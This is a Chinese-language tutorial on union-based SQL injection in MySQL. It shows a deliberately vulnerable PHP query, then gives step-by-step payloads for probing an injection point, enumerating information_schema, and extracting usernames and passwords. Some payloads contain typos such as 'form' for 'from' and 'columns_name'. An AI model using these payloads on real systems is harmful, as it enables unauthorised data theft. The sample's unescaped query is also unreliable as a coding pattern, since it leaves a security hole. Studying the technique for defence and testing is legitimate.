一.sql注入原理
原理代码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
1.获得数据
2.凭借语句
3.数据库执行
4.页面显示结果
注入,就是注入sql语句,利用网页的参数传递功能,将我们想要执行的功能转化为sql语句后拼接到源语句上,实现sql注入
例如:
原语句:
SELECT * from users where id=”参数位置“ LIMIT 0,1
拼接后:
SELECT * from users where id=-2 union select 1,emali_id,3 from emails LIMIT 0,1
可以看出,正常情况下id的值为1,2,3......,但经认为凭借后变成了后者,产生注入(这里的id=-2是为了让union前的语句失效,只执行后面的语句)
注入条件
1.需要可控变量输入
2.可拼接的语句
3.要有数据库查询的函数
4.没有过滤或者可绕过过滤
二、数据库结构(mysql)
数据库a=网站a=数据库用户a
表名
列名
数据
数据库b=网站b=数据库用户b
.......................
数据库c=网站c=数据库用户c
........................
所以注入时要一步一步的获得
三、如何判断注入点
老方法:
id =1 真 and 1=1 真 页面正常
and 1=2 页面错误
新方法:
id=1hdsajkhdajs
在变量哪里乱输入,看看你有没有影响
有些时候会报错——网站有检测——没有漏洞
四、联合注入——union
1.判断注入(上述)
2.信息搜集
数据库版本——version()
数据库名字——datebase()
数据库用户——user()
操作系统@@version_compile_os
注:1在mysql5.0以上的版本中有一个自带的数据库:information_schema,里面有记录所有的数据库名,表名,列名,所以也可以通过该数据库查询相关的数据库名,表名,列名
2.数据库中符号“.”代表下一级的意思,如:xxx.user就代表xxx数据库下名为user的表
所以:
information_schema.tables——记录所有表名信息的表
information_schema.columns——记录所有列名信息的表
table_name——表名
columns_name——列名
3.拆解列名数量——union注入前后两条语句字段数相同,不然报错
order by 1
order by 2
order by 3
4.报错—— id = -2
SELECT * from users where id=-2 union select 1,2,3
5.查询指定数据库下面表明的信息
SELECT * from users where id=-2 union select 1,table_name,3 form information_schema.table where table_schema='xxx'
SELECT * from users where id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='xxx'
group_concat(table_name)——查询所有。横向展开
6.查询指定表下面列名的信息
SELECT * from users where id=-2 union select 1,group_concat(columns_name),3 form information_schema.columns where table_name='xxx'
7.查询指定数据
SELECT * from users where id=-2 union select 1,username,password form xxx
8.拆解多个数据:limit x.1
用法:【select * from tableName limit i,n 】
参数:
-
tableName : 为数据表;
-
i : 为查询结果的索引值(默认从0开始);
-
n : 为查询结果返回的数量